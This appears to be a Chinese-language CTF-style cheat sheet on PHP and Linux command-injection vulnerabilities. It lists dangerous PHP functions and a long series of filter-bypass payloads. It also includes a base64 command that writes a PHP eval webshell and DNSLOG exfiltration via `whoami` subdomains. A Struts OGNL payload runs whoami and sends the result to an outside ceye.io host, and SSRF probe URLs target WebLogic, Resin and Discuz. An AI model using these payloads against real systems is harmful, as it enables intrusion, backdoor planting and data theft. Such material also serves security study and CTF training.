出现这种漏洞,一般都是因为应用在设计上需要给用户提供指定远程命令操作的接口,如果应用对于命令的控制极为严苛,(例如: 只能输入 IP 地址) 那么可能不会出现错误,但是如果对于命令的输入验证存在漏洞,那极有可能会演变为命令执行漏洞
| 函数 | 函数的功能 | 函数的利用文章链接 |
|---|---|---|
| eval() | 把字符串作为PHP代码执行 | PHP 代码执行漏洞总结大全 |
| assert() | 断言,将字符串参数执行 | |
| preg_replace() | 执行一个正则表达式的搜索和替换 | |
| create_function() | 主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。 | |
| array_map() | 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 | |
| call_user_func() | 把第一个参数作为回调函数调用 | |
| call_user_func_array() | 这个方法是内置函数,可以直接调用函数运行 | |
| array_filter() | 用回调函数过滤数组中的元素 | |
| uasort() | 利用自定义函数对数组中元素值进行排序 |
| 函数 | 作用 | 使用 |
|---|---|---|
| system() | 执行系统命令输出执行结果 | system("ls") |
| exec() | 执行系统命令不输出执行结果,返回执行结果数组, (回显最后一行-必须 echo输出) | exec('ls', $result) |
| passthru() | 执行系统命令,输出执行结果(支持二进制) | passthru('ls') |
| shell_exec() | 执行系统命令不输出结果,返回执行结果字符串 | shell_exec('ls') |
| popen() | 执行系统命令,不输出结果,返回一个资源类型 | popen('ls','r') |
| `` | 反引号,执行系统命令,不输出结果,返回执行结果字符集 | \`ls` |
| 常用的PHP命令执行函数及利用方式 | ||
如果 PHP 被过滤了,可以使用短标签绕过,常见的 PHP 标签为 ,如果 PHP 字符被过滤了,可以使用短标签 = ?>
举例:
== system("ls") ?>如果拦截了
可以使用 :
过滤了 cat ,可以使用如下函数代替:
• more:一页一页的显示档案内容
• less:与 more 类似
• head:查看头几行
• tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
• tail:查看尾几行
• nl:显示的时候,顺便输出行号
• od:以二进制的方式读取档案内容
• vi:一种编辑器,这个也可以查看
• vim:一种编辑器,这个也可以查看
• sort:可以查看
• uniq:可以查看
• file -f:报错出具体内容
• sh /flag 2>%261 //报错出文件内容
反斜杠绕过:
ca\t => cat
fl\ag => flag
ph\p => php
变量拼接法
?ip=192.168.0.1;a=l;b=s;$a$b
base64 加密绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
引号绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
反引号 `
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换 echo `whoami`
$(command) 命令替换
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
ping -c 4 |echo $(command)
url 编码绕过
内联执行绕过:
在 Linux 中 命令 、$(命令) 都是执行命令的方式,输出查询结果的内容,比如使用 ls 查询出·的 index.php .那么 ls 就代表了 index.php 这个文件,那么我们就可以使用 cat 命令查看 index.php 的内容,
绕过方法
[root@kali flag123]# curl file:///flag123/flag
flag{suifeng}
[root@kali flag123]# strings flag
flag{suifeng}
[root@kali flag123]# uniq -c flag
1 flag{suifeng}
[root@kali flag123]# bash -v flag
flag{suifeng}
flag: line 1: flag{suifeng}: command not found
[root@kali flag123]# rev flag
}gnefius{galf
[root@kali flag123]#
find – 列出当前目录下的文件以及子目录的所有文件
• {cat,flag.txt}
• cat${IFS}flag.txt
• cat$IFS$9flag.txt
• cat$IFS$1flag.txt
• catflag.txt
• kg=$'\x20flag.txt'&&cat$kg
• (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
• ; //两条命令都执行,windows不支持
• | //只执行后面那条命令
• || //只执行前面那条命令
• & //先执行command2后执行command1
• && //先执行command1后执行command2
• %0a //换行符
• %0d //回车符号
• %09 // TAB 键
• 用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
使用不需要括号的函数进行绕过: eg echo
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
Linux 中命令换行:
在 Linux 中,我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \ , 可以将一条命令写在多行,比如将 cat flag 写成这样:
root@kali:~# ca\
> t\
> fl\
> ag
this is your flag
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下:
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
如果在有漏洞的 WEB 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站,访问即可获取 webshell
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
DNSLOG 是一个显示解析记录的平台,在无回显的情况下,通过访问 DNSLOG ,DNSLOG 会把你访问的子域名的头文件记录下来, DNSLOG

在 Kaill 中输入: ping `whoami`.cdfybg.dnslog.cn

Struts
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
weblogic
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
com/t/2557)
- 靶场: [BJDCTF2020]ZJCTF,不过如此
- 漏洞复现
2. PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】